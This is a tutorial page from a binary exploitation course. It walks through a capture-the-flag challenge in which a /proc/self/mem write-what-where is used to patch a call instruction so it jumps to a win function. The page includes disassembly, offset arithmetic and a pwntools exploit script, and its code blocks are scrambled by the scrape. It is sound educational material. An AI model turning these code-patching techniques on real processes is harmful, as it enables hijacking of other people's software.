Table of Contents

IronForgeCyber

Courses

Resources

Blog

Log In



IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. www-challenge-01
10 min read

Challenge 1

This challenge will test your write-what-where abilities to modify a meaningful location to achieve the desired result. There are three challenges that are all based on the same idea of editing different locations.

Try these yourself!
Definitely try these challenges before moving to the solutions. Full solutions will be detailed for all three. However, write-what-where is an essential skill to master to be a good exploit developer.

Stuck? Open one hint at a time before reading the solution.

Hint 1
How does the program perform the write? Check whether it can change memory that's normally read-only.
Hint 2
A GOT overwrite of puts looks tempting, but follow what win itself calls to print the flag.
Hint 3
If read-only memory is writable, so is the code. Find the call that runs after the write, and make it call win instead.
Hint 4
A near call is e8 followed by a 4-byte displacement, measured from the address of the next instruction.

Identifying the Vulnerability

From running the challenge, we see we're granted the opportunity to write to an address in the program. From the disassembly, we see the program expects a hexadecimal (pseudocode on the right):

nasm
10x004014ca lea rax, [rbp - 0x10]                 |     rax = rbp - 0x10;
2

From there, the Memory-Write-Inator gets called, which allows you to enter a long hexadecimal to write at that location. It prints the current value for reference. Here is a sample run of the program:

www-challenge-01
$ ./challWelcome to Dr. Doofenshmirtz's brand new Memory-Write-Inator!Provide an address in memory and it'll change it for you:0x401411Good choice! You chose: e8 2a fc ff ff b8 00 00The Memory-Write-Inator will now change its value for you.Enter a new value for this location:

Checking the disassembly for memory_write_inator, we notice it uses a rather unconventional method for writing this information:

nasm
10x00401399 mov esi, 2                        |     esi = 2;
20x0040139e lea rax, [rip + 0xc74]

It's opening /proc/self/mem and writing the data there:

nasm
10x00401450 lea rcx, [rbp - 0x18]             |     rcx = rbp - 0x18;
2

We can check man proc to see what this file is:

/proc/[pid]/mem
   This file can be used to access the pages of a process's memory through open(2), read(2), and lseek(2).

   Permission to access this file is governed by a ptrace access mode PTRACE_MODE_ATTACH_FSCREDS check; see ptrace(2).

This file allows us to edit any memory inside the process, including read-only segments. This provides extra permission over doing *addr = value because this is subject to the permissions of the address memory segment.

Write-Where?

Given write-what-where, the first instinct might be a GOT overwrite. Despite this binary having Full RELRO, we already indicated we can write to read-only segments. However, we'll run into the problem outlined below.

Why this doesn't work...
First, we need to decide where we want to write. The only library function called after the write is puts(), meaning this is the only choice for the GOT entry to overwrite. We must overwrite this with the address of win for it to call win. Dissecting win, we see it loads the flag into memory and prints the flag:
nasm
10x004012e5 call 0x4011b0                 |     rax = fopen (rax, rsi

This means we must modify something else. We don't have buffer overflow opportunities because we can't guarantee ASLR is off, meaning stack addresses will be randomized. What is left?

The notion that we can still write to read-only segments is imperative for this challenge. Because of this, we choose to write to the text segment to modify an instruction. Most instructions are less than 8 bytes, meaning we can modify an instruction to do something different to achieve the desired effect. The easiest instruction to modify is this:

nasm
0x0000000000401411 <+112>:   call   0x401040 <puts@plt>

This is a good instruction to choose because we can easily change the function it calls without any effect to the surrounding code. In this case, we simply want to change the instruction to something like this:

nasm
0x0000000000401411 <+112>:   call   0x4011e6 <win>

In order to determine how to do this, we must understand how instructions are written.

Overwriting the Instruction

In the assembly process, instructions are converted to hexadecimal based on the program architecture. In this case, for x64, the x64 ISA (Instruction Set Architecture) defines codes that represent how instructions are written. These codes, called Opcodes, indicate the instruction to be executed and its arguments.

Let's see what prints when we print the instruction at 0x401411:

www-challenge-01
$ ./challWelcome to Dr. Doofenshmirtz's brand new Memory-Write-Inator!Provide an address in memory and it'll change it for you:0x401411Good choice! You chose: e8 2a fc ff ff b8 00 00The Memory-Write-Inator will now change its value for you.Enter a new value for this location:

It prints 8 bytes there! It doesn't make sense that the instruction is 8 bytes, it should be 5 (see Instructions in Assembly to understand why). We can use disas /r to print the bytes for each instruction with the instruction in GDB. Let's check the instruction being printed:

nasm
10x0000000000401411 <+112>:   e8 2a fc ff ff  call   0x401040 <puts@plt>
20x0000000000401416 <+117>:   b8 00 00 00 00

We see that as expected, the instruction is 5 bytes. However, since the code always prints 8 bytes, it is printing part of the next instruction. When we overwrite this value, we must ensure to also do this to keep the code consistent.

Writing an Exploit

First, we must break down the instruction we're overwriting. This is done in detail in the above reference. e8 is the Opcode for a CALL rel16/32 instruction. rel is important because it indicates that the following four bytes are a relative displacement. Since puts is above main in the text segment (because of Full RELRO), we expect the displacement to be negative (two's complement). This displacement is 0xfffffc2a=-0x3d6=-982.

Remember that displacement is always calculated from the next instruction. This is how the program quickly produces a return address to continue execution.

The Easy Way

The easy way is to compute the instruction to replace and enter normally. Since the code is expecting a 0x%lx value, we can easily enter this ourselves.

We must determine the offset between the return instruction and win. Let's collect those addresses:

nasm
10x00000000004011e6  win
2
30x0000000000401411 <+112>:   e8 2a fc ff ff  call   0x401040 <puts@plt>
40x0000000000401416 <+

We need the distance between 0x4011e6 and 0x401416. We're confident the displacement must be negative since main is the highest function in the text segment. Python does not do two's complement since it doesn't track variable sizes; however, we can compute it manually. First, we can get the value to convert:

python3
>>> hex(0x4011e6-0x401416)'-0x230'

To convert to two's complement, find the difference between the value and 1 plus the maximum size for that type. In this case, to fit a 32-bit value, we need 0xffffffff + 1. We can also write this as 1 << 32.

python3
>>> hex((1 << 32) - 0x230)'0xfffffdd0'

With this, we can replace our instruction and send it: Following the format (hinted by the output of the program), we need to send:

nasm
e8 d0 fd ff ff b8 00 00

Remember that we send the hex in the proper format and the C Runtime automatically reads it little-endian as expected. Let's send it!

www-challenge-01
$ ./challWelcome to Dr. Doofenshmirtz's brand new Memory-Write-Inator!Provide an address in memory and it'll change it for you:0x401411Good choice! You chose: e8 2a fc ff ff b8 00 00The Memory-Write-Inator will now change its value for you.Enter a new value for this location:0xb8fffffdd0e8IFC{PL4C3H0LD3R_FL4G_H3R3!}

The "Automated" Way

The automated way is to compute the new instruction independent of the address of each function. Solely considering the offset between win and the instruction, we can use Pwntools to help deduce the replacement instruction.

First, we'll want a method for automatically computing two's complement. We'll use the same idea as the above method to write this:

python
1def twos_comp(offset, bits):
2    return p32((1 << bits) + offset)

Then, we outline the instruction line to change. We can send this to the binary.

python
1change = elf.sym.main + 112
2p.sendline(hex(change).encode())

Then, we want to receive the data containing the current instruction and store it as an array of hex values. This can also be done as bytes.

python
1p.recvuntil(b"You chose: ")
2bts = [int(x, 16) for x in p.recvline().

Then, we must compute the new offset using the two's complement formula and replace the offset inside the array:

python
1offset = elf.sym.win - (elf.sym.main + 117)
2offset = [b for b in twos_comp(

Finally, turn this into a byte-string containing a hex value and send it to the challenge!

python
1inst = '0x' + bytes(bts[::-1]).hex()
2p.sendline(inst.

Running this gets us the flag as well!

exploit.py
$ python3 exploit.py[+] Starting local process './chall': pid 114640The Memory-Write-Inator will now change its value for you.Enter a new value for this location:IFC{PL4C3H0LD3R_FL4G_H3R3!}
0x004014ce
mov
rsi
,
rax
|
rsi
=
rax
;
30x004014d1 lea rax, [rip + 0xbd6] | rax = "0x%lx[^\n]";
40x004014d8 mov rdi, rax | rdi = rax;
50x004014db mov eax, 0 | eax = 0;
60x004014e0 call 0x4011c0 | isoc99_scanf ();
|
rax
=
"/proc/self/mem"
;
30x004013a5 mov rdi, rax | rdi = rax;
40x004013a8 mov eax, 0 | eax = 0;
50x004013ad call 0x4011a0 | eax = open (rdi, 2);
60x004013b2 mov dword [rbp - 0x1c], eax | *((rbp - 0x1c)) = eax;
0x00401454
mov
eax
, dword
[
rbp
-
0x1c
]
|
eax
=
*
((
rbp
-
0x1c
))
;
30x00401457 mov edx, 8 | edx = 8;
40x0040145c mov rsi, rcx | rsi = rcx;
50x0040145f mov edi, eax | edi = eax;
60x00401461 call 0x401120 | write (edi, rsi, edx);
)
;
20x004012ea mov rdx, rax | rdx = rax;
30x004012ed lea rax, [rbp - 0x50] | rax = rbp - 0x50;
40x004012f1 mov esi, 0x40 | esi = 0x40;
50x004012f6 mov rdi, rax | rdi = rax;
60x004012f9 call 0x401180 | fgets (rdi, esi, rdx);
70x004012fe lea rax, [rbp - 0x50] | rax = rbp - 0x50;
80x00401302 mov rdi, rax | rdi = rax;
90x00401305 call 0x401110 | puts (rdi);

Notice this function uses puts() to print the flag. Since puts() inside the GOT table is overwritten with the address to win, instead of printing the flag, it calls win again! This leads to an infinite recursion issue that results in a SEGFAULT. Therefore, this means this attack vector is not valid because it ruins our way of printing the flag.

mov
eax
,
0x0
117
>
: b8
00
00
00
00
mov
eax
,
0x0
decode
(
)
.
strip
(
)
.
split
(
" "
)
]
offset
,
32
)
]
3bts[1:5] = offset
encode
(
)
)
3p.interactive()